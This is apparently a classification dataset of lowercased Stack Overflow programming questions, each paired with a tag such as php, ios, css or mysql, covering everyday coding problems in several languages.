%&gt;&lt;/td&gt;                         &lt;td&gt;&lt;%= text_field_tag :low_range %&gt; &lt;%= text_field_tag :high_range %&gt;&lt;/td&gt;                     &lt;/tr&gt;              &lt;% end %&gt;           &lt;% end %&gt;    &lt;/table&gt;         &lt;% end %&gt;         &lt;%= link_to  create by image   mass_create_from_media_admin_event_lots_path(@event  :images =&gt; true) %&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   so when each checkbox is tagged i want to reload and have :videos  :catalog_images  :images true if checked.  i know the validation isn t complete for each media  but i am also at home so i tried to quickly create a representation of what i want,ruby-on-rails
unable to run simulator directly using the xcode  i have problem in running my ios application directly on the simulator it will take to many times to run application and still not running and in xcode the status bar it will display only this message  attaching and my application name like textscroll like attaching textscroll  and it will still process and simulator will open but only show the black screen. it will tack 2 hours to much time just simple hello world application please give me solution if any one have the solution thank you in advanced.    but i will try one solution that run the application and then stop the application after that open simulator and run my application on the simulator so that will run but problem in this way is i will not debug my application using this way so please give me solution .,ios
symmetric algorithm exception  i am trying to encrypt an email body to be stored at database  and that to avoid unauthorized person from reading it also to avoid sql injection attack.    1- what do u think about encrypting the email  <br /> 2- why it does not work  i want to learn encrypting a text anyway.   <pre><code>    symmetricalgorithm symalgo = symmetricalgorithm.create();     // i will not use the default keys  although i think they are random enough.     symalgo.generatekey();     symalgo.generateiv();      byte[] key = symalgo.key;     byte[] iv = symalgo.key;       icryptotransform crypto = symalgo.createencryptor();     byte[] block = utilityma.stringutil.convertutf16stringtobytearray(htmlbody);     byte[] ciphertext = new byte[block.length + 32];      crypto.transformblock(block  0  block.length  ciphertext  0);       symalgo.clear();     crypto.dispose(); </code></pre>   crypto.transformblock fires exception  <br /> system.argumentexception was unhandled by user code   message= value was invalid.    source= mscorlib     stacktrace:        at system.security.cryptography.rijndaelmanagedtransform.transformblock(byte[] inputbuffer  int32 inputoffset  int32 inputcount  byte[] outputbuffer  int32 outputoffset)        at demo.bll.contact.history.sendemail(string htmlbody  int32 record_id) in c:\documents and settings\administrator\my documents\visual studio 2008\projects\bll\bll\contact\history.cs:line 35        at _default.btnsend_click(object sender  eventargs e) in c:\documents and settings\administrator\my documents\visual studio 2008\projects\demos\contactdemo\contact.aspx.cs:line 46        at system.web.ui.webcontrols.button.onclick(eventargs e)        at system.web.ui.webcontrols.button.raisepostbackevent(string eventargument)        at system.web.ui.webcontrols.button.system.web.ui.ipostbackeventhandler.raisepostbackevent(string eventargument)        at system.web.ui.page.raisepostbackevent(ipostbackeventhandler sourcecontrol  string eventargument)        at system.web.ui.page.raisepostbackevent(namevaluecollection postdata)        at system.web.ui.page.processrequestmain(boolean includestagesbeforeasyncpoint  boolean includestagesafterasyncpoint)   innerexception:,.net
directive - controller data binding in angularjs  i m struggling with this for hours now.   <pre><code>var testapp = angular.module( testapp   []);  testapp.directive( test   function() {     return {         restrict:  e           transclude: true          template:  &lt;div ng-transclude&gt;hello world&lt;/div&gt;           link: function(scope) {          }     } });  testapp.controller( testctrl   function ($scope) {     $scope.user =   ; }); </code></pre>   here s jsfiddle: <a href= http://jsfiddle.net/2bkpj/  rel= nofollow >http://jsfiddle.net/2bkpj/</a>    now  all i need is for an input embedded in  directive to be able to reflect user model directly in testctrl controller.  i m confused on how this beast works since i taught that scopes are shared in this case  no,angularjs
how to done payment option through inapp  i have done a bible application in iphone there is a last section called database download there are 10 buttons each buttons have diffrent language database to download the database is bible database if the user tap the hebrew button it will have to download the hebrew database from the server through inapp.i know there is no other direct payment option available in ios but we can use the store kit framework for acesses the inapp purchase.but i didnt know how to do this.if anyone have an idea for doing a inapp payment purchase and download within the app please share with me it will be a great help for me to do this. thanks regards.,iphone
display attribute on standard style sheet effecting my handheld style sheet   i am trying have some images hidden when viewed on a desktop but visible when viewed on a mobile device.  i have 2 separate styles linked like this:   <pre><code>&lt;link rel= stylesheet  type= text/css  href= style.css &gt; &lt;link rel= stylesheet  href= handheld.css  media= only screen and (max-device-width:480px) /&gt; </code></pre>   but when i use the display: none; or visibility: hidden; on the style.css it also hides it on my mobile  why is this   other styling to the handheld.css work fine and only on my phone.,css
how to make multplication table using double for loops   i want to make a <strong>multiplication</strong> table using <strong>double for loops</strong> from 1 to 10.i can do use single for loops but i have no idea about using double for loops. here is my some code    <pre><code>for (let i = 1; i &lt;= 10; i++) {     let res = 1 +   x   + i +   =   + i * 1     console.log(res);      for (let j = 0; j &lt; 10; j++) {      } } </code></pre>   please let me know this how can i do it,javascript
construct object from json/map (with annotations)  i have this class that i persist by creating a json object based on its annotation:   <pre><code>@entity(name =  user ) public class user {      @id      private string id;     @column     private string name;     @column     private integer age;     public user() {} public user(string id  string name  string age) {} // ... code omitted }  boolean ok = createentity(new user( uid1    eli   25)); </code></pre>   the method above will convert the user object into a map respresenting a json object like:   <pre><code>map.put( id    uid1 ); map.put( name    eli ); map.put( age   25); </code></pre>   this works fine. however i need to create a user object based on a response map containling values in similar form like the above  first i get the response from the server in form of json string:   <pre><code>{      id  :  uid2        name  :  ben        age  : 20 } </code></pre>   i mean  if i parse this json string into a map:   <pre><code>map.put( id    uid2 ); map.put( name    ben ); map.put( age   20); </code></pre>   how can i construct a user object filling the values from the map to the correct <code>@column</code> field     update:    i know about jackson library  but the idea here is that i need to work with annotations as i am building a library that needs classes to be annotated. i am just after the way to create object from json/map and assign the right values to the right field,java
can quotes be used in css selectors for class names   here it is:   <pre><code>.color-expo svg .color-main-1 .x-comp path  .tick-1  {    fill: #aeb24a; } </code></pre>   i m generating this with a third-party tool and i wonder if the quoted class is valid css. i m only interested in knowing if the selector is valid.,css
what is the difference and relationship between execution context and lexical environment   in javascript: understanding the weird parts lexical environment is explained as the scope of your code while execution context is a collection of lexical environments  and that it includes stuff beyond your written code.    the descriptions of these terms still sound overlapping in functionality and it s unclear as to what execution context does or how it does it.,javascript
c++ guessing game : unable to get midpoint properly  i m having a bit of trouble with a sample exercise.     the goal is to have a computer guess your number by taking the midpoint over and over until the number is reached. i have everything except that i can t seem to get  lower  working.   <pre><code>#include &lt;iostream&gt; using namespace std;  void playonegame(); bool shouldplayagain(); int getaverage(int min  int max); int getlow(int min  int max); int gethigh(int min  int max); char getresponse();  const int max_value = 100; const int min_value = 0; int average = 50; char choice; int high = max_value; int low = min_value;  int main() {     do     {         playonegame();     } while (shouldplayagain());      return 0; }  void playonegame() {     cout&lt;&lt; think of a number between   &lt;&lt; min_value &lt;&lt;   and   &lt;&lt; max_value &lt;&lt; endl;     getaverage(min_value  max_value); }  int getaverage(int min  int max) {     average = (max - min)/2;     getresponse(); }  int gethigh(int low  int max) {     low = average;     average += ( high - low ) / 2;         getresponse(); }  int getlow(int low  int max) {     high = average;     average -= (high - low) /2;     getresponse(); }  char getresponse() {     cout &lt;&lt;  is it   &lt;&lt; average &lt;&lt;      &lt;&lt;    (h/l/c):   &lt;&lt; endl;     cin &gt;&gt; choice;     if(choice ==  h  || choice ==  h )      {         gethigh(low  high);     }     else if(choice ==  l  || choice ==  l )      {         getlow(low  high);     }     else     {         cout&lt;&lt;  got it!  &lt;&lt;endl;     } }  bool shouldplayagain() {     bool status;     char choice;      cout &lt;&lt;  do you want to play again  y/n\n ;     cin &gt;&gt; choice;      if(choice ==  y  || choice ==  y )         status = true;     else         status = false;      return status; } </code></pre>   a sample output of the #15 would have it as:   <pre> think of a number between 0 and 100 is it 50    (h/l/c):   l is it 25    (h/l/c):   l is it 13    (h/l/c):   h is it 19    (h/l/c):   l is it 10    (h/l/c):   h is it 14    (h/l/c):   h is it 16    (h/l/c):   l is it 8    (h/l/c):   h is it 12    (h/l/c):   h is it 14    (h/l/c):   h is it 15    (h/l/c):   c got it! do you want to play again  y/n </pre>   instead of    <pre> is it 25    (h/l/c):   l is it 13    (h/l/c):   h is it 19    (h/l/c):   l is it 10    (h/l/c):  </pre>   it should be:   <pre> is it 25    (h/l/c):   l is it 13    (h/l/c):   h is it 19    (h/l/c):   l is it 16    (h/l/c):  </pre>,c++
how do you add an iad to a tabbarcontroller properly without using ib   i am able to add an iad banner view to my tab bar controller with no problem.  the issue comes with the rendering.  the banner view is drawn overtop of the navigation bar in my interface.     how can i push the navigation bar down or is their a better approach   i need to do this all programmatically without ib.,iphone
new method overlayrender xcode  i have a problem with display my polyline for track user movements  map show nothing... please help me :( here my code:   <pre><code>nsmutablearray *coordinatestore; mkpolyline *routeline;  nsdictionary* locationdict = @{ @ latitude  : [nsnumber numberwithfloat:coordinate.coordinate.latitude]  @ longitude  : [nsnumber numberwithfloat:coordinate.coordinate.longitude] };      [coordinatestore addobject:locationdict];     nslog(@ index 0 = %@   [coordinatestore objectatindex:0]);     mkmappoint* pointarr = malloc(sizeof(cllocationcoordinate2d) * [coordinatestore count]);     for(int idx = 0; idx &lt; [coordinatestore count]; idx++)     {         cllocationcoordinate2d workingcoordinate;         nsdictionary *trovato = [coordinatestore objectatindex:idx];         workingcoordinate.latitude=[(nsnumber *)[trovato objectforkey:@ latitude ] doublevalue];         workingcoordinate.longitude=[(nsnumber *)[trovato objectforkey:@ longitude ] doublevalue];         mkmappoint point = mkmappointforcoordinate(workingcoordinate);         pointarr[idx] = point;     }     // create the polyline based on the array of points.     routeline = [mkpolyline polylinewithpoints:pointarr count:[coordinatestore count]];     [_mappa addoverlay:routeline level:mkoverlaylevelaboveroads];     free(pointarr);  - (mkoverlayrenderer *)mapview:(mkmapview *)mapview rendererforoverlay:(id&lt;mkoverlay&gt;)overlay {      if([routeline iskindofclass:[mkpolyline class]]) {         mkpolylinerenderer *routerenderer = [[mkpolylinerenderer alloc] initwithpolyline:routeline];         routerenderer.strokecolor = [[uicolor bluecolor]colorwithalphacomponent:0.7];         routerenderer.linewidth = 5;         return routerenderer;     }else return nil; } </code></pre>,ios
how to count repeating data in mysql <pre><code>id  | category 001 | 1000 001 | 300 002 | 500 003 | 200;300;100 004 | 100;300 005 | 200;3000 </code></pre>   the result should be   <pre><code>category | total 1000     | 1 300      | 3 500      | 1 200      | 2 100      | 2 </code></pre>   how can i arrive on that result  i saw something that i need to use <code>find_in_set</code> but its kind of complicated for me.     any help on this will be greatly appreciated!    ps: i know the solution for this is to normalize but i guess it s a big work and i don t have an access to change database structure. so i guess if there s a solution to make a query work that will be great! :)    thanks you!,mysql
how to work with list view in asp   i want to generate a record of student. i use list view for display record  and also add a textbox. how will i get the value of those text box     my code of list view is.       <pre><code>        &lt;layouttemplate&gt;              &lt;table&gt;                  &lt;th&gt; id &lt;/th&gt;                      &lt;th&gt; name &lt;/th&gt;                 &lt;th&gt; value &lt;/th&gt;              &lt;tr&gt; </code></pre>                       <pre><code>                 &lt;/table&gt;         &lt;/&gt;              &lt;/layouttemplate&gt;          &lt;grouptemplate&gt;             &lt;asp:placeholder id= p2  runat= server &gt;&lt;/asp:placeholder&gt;         &lt;/grouptemplate&gt;         &lt;itemtemplate&gt;              &lt;tr&gt;                 &lt;td&gt;                     &lt;asp:label id= label1  runat= server  text= &lt;%#eval( id ) %&gt; &gt;&lt;/asp:label&gt;&lt;/td&gt;                 &lt;td&gt;                     &lt;asp:label id= label2  runat= server  text= &lt;%#eval( name ) %&gt; &gt;&lt;/asp:label&gt;&lt;/td&gt;                 &lt;td&gt;                     &lt;asp:textbox id= tx1  runat= server &gt;&lt;/asp:textbox&gt;                 &lt;/td&gt;             &lt;/tr&gt;          &lt;/itemtemplate&gt;     &lt;/asp:listview&gt;      &lt;asp:button id= button1  runat= server  text= button  onclick= button1_click  /&gt;&lt;br /&gt;     &lt;br /&gt; </code></pre>   i want insert my data on button click.,asp.net
how to include a code fragment from a text file into html   is there a simple way (or what could be the simplest way) to include a html-code fragment  which is stored in a text file  into a page code     e.g. the text file fragment.txt contains this:   <pre><code>&lt;b&gt;&lt;i&gt;external text&lt;/i&gt;&lt;/b&gt; </code></pre>   and the page code should include this fragment  on the fly . (without php ... ),html
python: class definition without arguments  sorry for the noob question about classes. i m trying to assign a soap client to a variable inside a class function and then access that variable in other class functions. i don t have any arguments to pass to the <code>setup_client()</code> function.     in the following example code  how do i make <code>self.client</code> accessible outside <code>setup_client()</code> so that i can use it in <code>use_client()</code>  and ditto making <code>self.response</code> available outside <code>use_client()</code>   <pre><code>class soap_call(self):     def __init__(self):         # what goes here          self.client = # what          self.response = # what       def setup_client(self):         credentials = { username :  stuff    password :  stuff }         url =  stuff          t = httpauthenticated(**credentials)         self.client = suds.client.client(url  transport=t)      def use_client(self):         self.response = self.client.service.whatever         print self.response </code></pre>   i quickly realized that if i add an optional client argument <code>(self  client=none)</code> to the class definition and include <code>self.client = client</code>  then i get a none type error when trying to use it in my functions.    i realize i just have a lack of understanding of classes. i ve done some general reading up on classes but haven t come across any specific examples that describe what i m dealing with.,python
may i declare the *shape outside the for loop  <pre><code>nsmutablearray *shapes = [[nsmutablearray alloc] init]; for (nsdictionary *object in array) {     nsstring *type = [object objectforkey:@ type ];     shapefactory *shape = [[[shapefactory alloc] init] shapewithtype:type dictionary:object];     [shapes addobject:shape]; } self.shapes = shapes; </code></pre>   i want to know if i can declare the variable *shape outside the loop and still work,objective-c
how to stop loading the uiwebview  i  created number of uiwebviews and add it to my view. and gave load request. i want to stop loading the uiwebview with tag=10. how can this implement,iphone
how many pseudo-classes are there in css   how many pseudo-classes are there in css  what are they,css
unable to attach to application webdev.webserver40.exe visual studio has insufficient privileges  unable to attach to application webdev.webserver40.exe visual studio has insufficient priveleges to debug this process.    i am getting the following error when trying to debug a simple new asp.net web application.    thanks for any help.,asp.net
when is an include file included   is the block of code of an included file  grabbed  when the calling script first starts or when the include statement is reached  take for example:   <pre><code>// execute many lines of code sleep(10); // do file retrievals that takes many minutes include( somefile.php ); </code></pre>   if the original code is executed (commenced)  is the code block of somefile.php put in memory at that instant or not until the include statement is reached,php
subviews in uiview hierarchy not displaying subviews  when this action is executed it displays totally black view screen with toolbar    <pre><code>- (void)displayviewsaction:(id)sender {  self.view = [[[uiview alloc] initwithframe:[[uiscreen mainscreen] bounds]]autorelease];  self.view.frame = cgrectmake(0  0  320  480);  [self.view addsubview:toolbar];  uiview *viewcontroller = [[uiview alloc] init];  uiview *secondcontroller = [[uiview alloc] init];  [self.view insertsubview:viewcontroller atindex:1];  [self.view insertsubview:secondcontroller atindex:2];  nslog(@ %d   [[self.view subviews] indexofobject:viewcontroller]); // is 1  nslog(@ %d   [[self.view subviews] indexofobject:secondcontroller]); // is 2  [self.view bringsubviewtofront:viewcontroller];   nslog(@ %d   [[self.view subviews] indexofobject:viewcontroller]);  [self.view sendsubviewtoback:viewcontroller];   nslog(@ %d   [[self.view subviews] indexofobject:viewcontroller]);  [self.view bringsubviewtofront:secondcontroller];  nslog(@ %d   [[self.view subviews] indexofobject:secondcontroller]);   secondviewcontroller * secondcontroller = [[[secondviewcontroller alloc] init]autorelease];  secondcontroller.view.frame = cgrectmake(0  0  320  480);  [self.view addsubview:secondcontroller.view];  [self.view addsubview:toolbar];  } </code></pre>   any ideas why the view is appearing as totally black with toolbar.,iphone
mysql: multiple ids in one row from another table  this may be a bit convoluted but i ll give it a shot.    i have a table that has event data:   <pre><code>| id | event | from_location | to_location | |  1 |  move |            12 |          14 | |  2 |  move |            13 |          15 | </code></pre>   and the from location and to location are ids referenced in  another able   <pre><code>| id | name    | | 12 | london  | | 13 | paris   | | 14 | newyork | | 15 | tokyo   | </code></pre>   my issue is i need to search both the first table based on the location  but using the name in the second  and i d like to do it as simply as possible with one query.     if it was one column  i could just do a join and have the name available but since it is two  this doesn t work.    i could search for the name in the first table  then having the id  use that to search the other table - but i d like to do it in one query.    so my question - is there a way to simply replace the ids with the corresponding name - then do the search  all in one query     i would say one more thing - i didn t set this up. if i had  i d have forgone the use of ids altogether and simply used the names as the keys. but now that it is how it is - lets assume i can t change this.    thanks,mysql
nsnumber property going to nil when app is closed  i have a singleton object with the an <code>nsnumber</code> property called recordingnumber that i use to keep track of recordings i have within my app.  when the app is first opened  recordingnumber is set to zero and is incremented every time a new recording is saved to the app.  when i close my app down and then reopen  the number goes back to zero and every new recording overwrites an old recording.  how can i keep the property from going to nil when the app is open and closed   i m using core data to store all my recording files - should i create a separate entity to store this one value    <pre><code>@property (nonatomic) nsnumber * recordingnumber; </code></pre>,ios
alignmentspan not working for radiobutton text  i m trying to align to the right a portion of a <code>radiobutton</code> text using the <code>alignmentspan</code> class. however it is not working because the text is not aligned as expected.   <pre><code>spannablestringbuilder builder = new spannablestringbuilder();  builder.append(option.getlabel());  int start = builder.length() + 1;  builder.append(   ); builder.append(price); builder.append( € );  int end = builder.length();  builder.setspan(new alignmentspan.standard(alignment.align_opposite)  start  end          spannable.span_exclusive_exclusive);  final stylespan bss = new stylespan(android.graphics.typeface.bold);  builder.setspan(bss  start  end  spannable.span_exclusive_exclusive); </code></pre>   as you can see from the code i also apply a <code>stylespan</code> which works properly.     n.b <code>radiobutton</code> has <code>android:layout_width= match_parent </code>,android
php version / honeypot server / is 5.2 vulnerable   i read this article recently on ars: <a href= http://arstechnica.com/security/2014/03/php-bug-allowing-site-hijacking-still-menaces-internet-22-months-on/  rel= nofollow >http://arstechnica.com/security/2014/03/php-bug-allowing-site-hijacking-still-menaces-internet-22-months-on/</a>    i have some very old php servers still running some legacy code.  they use php version <code>5.2.17</code>    the article above states that <code>php versions prior to 5.3.12 and 5.4.2 are vulnerable.</code>    the fact that they mention 5.3.x and 5.4.x  it makes me think that 5.2.x is not vulnerable - is this correct     thank you to anyone who can confirm and provide a reputable source for this.,php
append to file using javascript  i have the following script:   <pre><code>document.open( text   c:\\path\\to\\file\\browser.txt );  appendchild(navigator.appcodename +  ; ); appendchild(navigator.appname +  ; ); appendchild(navigator.appversion +  ; ); appendchild(navigator.useragent +  ; ); appendchild(navigator.platform +  ; ); appendchild(is_java +  ; );  // ----------------------  if (is_opera) {      appendchild( &lt;tt&gt;***version numbers here are only valid&lt;/tt&gt;&lt;br&gt; );      appendchild( &lt;tt&gt;***if opera is set to identify itself as opera&lt;/tt&gt;&lt;br&gt; );      appendchild( &lt;tt&gt;***use is_opera vars instead&lt;/tt&gt;&lt;br&gt; );      }      appendchild(is_major +  ; );      appendchild(is_minor +  ; );  // ----------------------  if (is_opera) {      if (is_opera7up) {      appendchild(is_js);          } else {          appendchild(is_js);          }              } else {              appendchild(is_js +  ; );              }  // ----------------------  appendchild(is_screen +  ; ); if (window.screen) {      appendchild(screen.height +  ; );      appendchild(screen.width +  ; );      appendchild(screen.availheight +  ; );      appendchild(screen.availwidth +  ; );      appendchild(screen.colordepth +  ; ); }  // ----------------------  if (is_flash) {      appendchild(is_flashversion);      } else {      appendchild( unknown );      }  document.close(); </code></pre>   it does what i want it to do by collecting browser information. however  it is not writing information to the file. how do i make it append the browser information to the text file     you see the <code>appendchild</code> -- i also tried using <code>document.write</code> (which puts the information on the screen).    i am a javascript newbie so please make your answers as straightforward as possible. thank you.,javascript
objective-c method signatures. are they inconsistent   i m new to objective-c  but please help me out here.    what i m seeing is that method signatures in objective-c that take multiple parameters seem inconsistent.    example:   <pre><code>- (void) sendemail: (nsstring *) tostr          subject:(nsstring *) subjectstr          body:(nsstring *) bodystr; </code></pre>   ok  so here we have 3  parameters  (at least that s what i m used to calling them)  but 2 of them have  external  names (subject  body) but the first one doesn t! isn t there something wrong with that from a consistency/style point of view     when we call this method we do it like:   <pre><code>[emailobj sendemail:@ test@test.com  subject:@ testsub  body:@ this is a test ] </code></pre>   (hopefully i did that right  remember i m new to this.)    so the subject and the body are clearly marked in the call  but not the  to  address  it seems really wacked to me. why is that first parameter getting special treatment,objective-c
infix to postfix calculator is not giving the desired result <pre><code>#include&lt;stdio.h&gt; #include&lt;string.h&gt; #include&lt;math.h&gt; #include&lt;stdlib.h&gt; #include&lt;conio.h&gt; #define blank     #define tab  \t  #define max 50 #define is_number(chr) ((chr&gt;= 0 )&amp;&amp;(chr&lt;= 9 )) void push(long int symbol); long int pop(); void infix_to_postfix(); int priority(char symbol); int isempty(); int white_space(char); long int eval_post(); char infix[max]  postfix[max]; long int stack[max]; int top; char operator_set[]= +-*/^()% ; int i=0; int main() {     top=-1;     printf( enter infix exp. :  );     gets(infix);     //checking for invalid infix arithmatic expression     while(infix[i]!= \0 )     {         if(!white_space(infix[i]) &amp;&amp; !strchr(operator_set infix[i]) &amp;&amp; !is_number(infix[i]))         {             printf( \ninvalid arithmatic expression );             return -1;         }         i++;     }      infix_to_postfix();     printf( \n==&gt;postfix exp.: %s\n  postfix);     printf( \nthe postfix exp. evaluated to %d  eval_post());     getch();     return 0; }  void infix_to_postfix() {     unsigned int i p=0;     char next;     char symbol;     for(i=0;i&lt;strlen(infix);i++)     {         symbol=infix[i];         if(!white_space(symbol))         {             switch(symbol)             {             case  ( :                 push(symbol);                 break;             case  ) :                 while((next=pop())!= ( )                     postfix[p++] = next;                 break;             case  + :             case  - :             case  * :             case  / :             case  % :             case  ^ :                 while( !isempty( ) &amp;&amp;  priority(stack[top])&gt;= priority(symbol) )                     postfix[p++]=pop();                 push(symbol);                 break;             default: /*if an operand comes*/                  postfix[p++]=symbol;             }         }     }     while(!isempty( ))         postfix[p++]=pop();     postfix[p]= \0 ; /*end postfix with \0  to make it a string*/ }  /*this function returns the priority of the operator*/ int priority(char symbol) {     switch(symbol)     {     case  ( :         return 0;     case  + :     case  - :         return 1;     case  * :     case  / :     case  % :         return 2;     case  ^ :         return 3;     default :         return 0;     } }  void push(long int symbol) {     if(top&gt;max)     {         printf( stack overflow\n );         exit(1);     }     stack[++top]=symbol; }  long int pop() {     if( isempty() )     {         printf( stack underflow\n );         exit(1);     }     return (stack[top--]); } int isempty() {     if(top==-1)         return 1;     else         return 0; }  int white_space(char symbol) {     if( symbol == blank || symbol == tab )         return 1;     else         return 0; }  long int eval_post() {     long int a b temp result;     unsigned int i;      for(i=0;i&lt;strlen(postfix);i++)     {         if(postfix[i]&lt;= 9  &amp;&amp; postfix[i]&gt;= 0 )             push(postfix[i]- 0 );         else         {             a=pop();             b=pop();             switch(postfix[i])             {             case  + :                 temp=b+a; break;             case  - :                 temp=b-a;break;             case  * :                 temp=b*a;break;             case  / :                 temp=b/a;break;             case  % :                 temp=b%a;break;             case  ^ :                 temp=pow(b a);             }             push(temp);         }     }     result=pop();     return result; } </code></pre>   this is my code when i enter simple expression like <code>1+2+3</code> it is giving the correct output  but when i enter <code>234+234</code> it is not giving the desired result i don t know where i went wrong     can any expert help me i spent hours but unable to figure out,c
jquery tabs - get the index of previously selected tab  jquery 1.7.1 - i would like to get the index of previously selected tab. ex: if i move to the 3rd tab from 1st  i would like to get the previous selected tab index as 0. how to achieve this     i tried <a href= https://stackoverflow.com/questions/8664658/jquery-ui-tabs-get-previously-selected-tab >this</a>  but that didn t work.    i have the following markup    <pre><code>&lt;div id= tabs &gt;    &lt;ul&gt;       &lt;li&gt;&lt;a href= t1  title= content &gt;gallery&lt;/a&gt;&lt;/li&gt;       &lt;li&gt;&lt;a href= t2  title= content &gt;polls&lt;/a&gt;&lt;/li&gt;       &lt;li&gt;&lt;a href= t3  title= content &gt;events&lt;/a&gt;&lt;/li&gt;    &lt;/ul&gt;    &lt;div id= content &gt;&lt;/div&gt; &lt;/div&gt; </code></pre>   javascript    <pre><code>$( #tabs ).tabs(  {     select: function(e  ui) {     var t = $(e.target);     alert(  index   + t.data( selected.tabs ) );     return true; }}); </code></pre>,jquery
case/when in where condition depending on row index  to make it simple i have table with columns:   <pre><code>id | title | image | video </code></pre>   where image and video are: name-of-image.jpg/name-of-video.mp4 or null. how can i select first 3 rows only containing image and then 1 row containing video and so on  like:   <pre><code>1 image  2 image  3 image  4 video  5 image  6 image  7 image  8 video </code></pre>   i m using php/mysql. i need to take max 1000 rows and then just echo rows  my query is:   <pre><code>set @rownum:=0; select title  image  video  date_published  @rownum:=@rownum+1 as rownumber  from `stories`  where      case         when @rownum%3=0 then image is not null         else video is not null     end    and (`language_id`= 7 ) order by `date_published` desc  limit 200 </code></pre>   i need to implement what i wrote above  to return first 3 rows containing image and next 1 containing video. but i cannot use @rownum in where condition and that would be perfect way to select my sequence.,mysql
how could i make this code more effective   i want to figure out a more effective way to create this program. instead of <strong>if-else statements</strong>  could it be possible to use some other form of loop or statement      here is the code:   <pre><code>class apples {   public static void main(string[] args) {     byte x  y;     x = 15;     y = 28;      boolean state = (true || false);      if (x == y) {         system.out.println(state);     } else if (x &gt; y) {         system.out.println(state);     } else if (x &lt; y) {         system.out.println(state);     } else {         system.out.println(state);     }    } } </code></pre>,java
angularjs update input manually does not trigger change in the model  when i am changing a value of an input element from plain javascript then the angular model is not updated. is there any way to trigger somehow this update by firing some event manually after the change     <pre><code>&lt;body ng-controller= mainctrl &gt;   &lt;script&gt;     function changevalue() {       var e = document.getelementbyid( field );       e.value =  updated value ;     }   &lt;/script&gt;    field: &lt;input type= text  id= field  ng-model= field &gt;{{field}}   &lt;br&gt;   &lt;button onclick= changevalue() &gt;change the value&lt;/button&gt;  &lt;/body&gt; </code></pre>   complete example can be found on <a href= http://plnkr.co/edit/q0pfook9ttqgtvt4paxl p=preview >plunkr</a>. after clicking the button i would expect that the <code>{{field}}</code> is updated somehow. is there a way doing this,angularjs
highlighting the current step in a multi step form page  i am using a simple form page with 4 steps in it i am not using any wizard control for this i want to highlight the current step what i have to do for achieving this functionality.,asp.net
alternate to replace  i am using <code>replace</code> statement to replace certain string in my column.   <pre><code>update user_defined_data_sets set defaultvalue = replace(defaultvalue   area    area_123 )  </code></pre>   it works fine most of the times. but if i have <code>area</code> and <code>area_description</code> data in my <code>defaultvalue</code> column  it replaces both to <code>area123</code> and <code>area_123_description</code>.    <code>area</code> and <code>area_description</code> are different. i want to replace just <code>area</code> and not <code>area_description</code>.    sample data   <pre><code>sno     defaultvalue 1       area 2       area_description 3       area123 4       equipment 5       equipment_name </code></pre>   of all the above values only first row i.e defaultvalue=area should change to area123. rest all should not change. also i cant put a where clause like where deaultvalue= area  in my replace statement as i need this to work for all other scenarios like equipment or any other.,sql
are there any html elements that default to  display:inline-block    changing a div or span tag to inline-block feels so dirty. there must be a cleaner solution! i don t found any html element that default to  display:inline-block     thanks in advance,html
programming in visual studio c  command line always print  can not read  !!    debug assertion failed!    program: e:\ctdl\1311370\debug\1311370.exe file: f:\dd\vctools\crt\crtw32\stdio\fclose.c line: 46    expression: (stream != null)   <pre><code>#include  1311370_searcha1s.h  #include  1311370_sorta1s.h   void main(){     char filein[100]  fileout[100];      printf( enter link of the test file :  );     flushall();     gets(filein);      printf( enter link of the result folder :  );     flushall();     gets(fileout);     strcat(fileout   \\1311370_baithuchanhso1.txt );//nối thêm vào đường dẫn ghi file      file * fin = fopen(filein   r );     file * fout = fopen(fileout   w );      if (fin == null){         printf( can not read file\n );         fclose(fin);         fclose(fout);         exit(0);     }      else{         char str[100]  a[100]  b[1];          fgets(str  100  fin);          fprintf(fout    ex1test1 );          fgets(a  100  fin);         fgets(b  1  fin);          int n = countspace(a) + 1;         int *array = convertstringtoarray(a);         int x = atoi(b);          int pos = lsearch(array  n  x);          fprintf(fout    %d    pos);          delete array;     }     getch(); } </code></pre>,c
how can i read variable to other page by post  i have link like this   <pre><code>&lt;a href= printsinglecashier.php id=&lt; =$objresult[ cashiers_cashierid ];  &gt;  target= _new &gt;&lt;img src= ../images/print.png &gt;&lt;/a&gt; </code></pre>   and i wont to print variable <code>id</code> to other pages called <code>printsinglecashier.php</code>  i will insert id on link same this <code>printsinglecashier.php id=&lt; =$objresult[ cashiers_cashierid ];  &gt;</code>.    but when go to this page <code>printsinglecashier.php</code> i cannot read <code>id</code>.    why !!    i read it like <code>$_get[ id ];</code> but i need read it like <code>$_post[ id ];</code>,php
directory listing- error message  i m developing a simple website in asp.net application. i don t know why  but when the page is running the browser display this message below:    directory listing -- /   <pre><code>friday  december 12  2014 09:36 pm        &lt;dir&gt; bin friday  december 12  2014 09:38 pm        1 591 coffemasterpage.master friday  december 12  2014 08:48 pm          350 coffemasterpage.master.cs friday  december 12  2014 09:35 pm        1 431 coffemasterpage.master.designer.cs friday  december 12  2014 09:32 pm        &lt;dir&gt; images_coffee friday  december 12  2014 08:42 pm        &lt;dir&gt; obj friday  december 12  2014 08:42 pm        &lt;dir&gt; properties friday  december 12  2014 09:05 pm        &lt;dir&gt; styles friday  december 12  2014 08:42 pm        2 002 web.config friday  december 12  2014 08:42 pm        1 285 web.debug.config friday  december 12  2014 08:42 pm        1 346 web.release.config friday  december 12  2014 09:36 pm        4 719 webtutorial.csproj friday  december 12  2014 09:36 pm        1 086 webtutorial.csproj.user </code></pre>   version information: asp.net development server 10.0.0.0    someone can explain to me why the browser display this message,asp.net
error lnk1181: cannot open input file  gdi32.lib   while building code in visual studio 2012  i changed the library path from project properties -> linker -> input but till it giving error i installed window sdk for vs 2012  but till it not working. please help me,c++
javascript pop up window script  i am trying to write a javascript code for opening a popup window. it has to pass 2 parameters to the php script.    here is the snippet of the code:    <code>window.open( commercial_files/ttform.php tender_id= +result[ tender_id ]&amp;id= +result[ id ]       quotation   scrollbars=yes   menubar=no   status=no   width=800 height=600 );</code>    there is some problem with comma and apostrophe near    . <code>tender_id= +result[ tender_id ]&amp;id= +result[ id ]</code>.,javascript
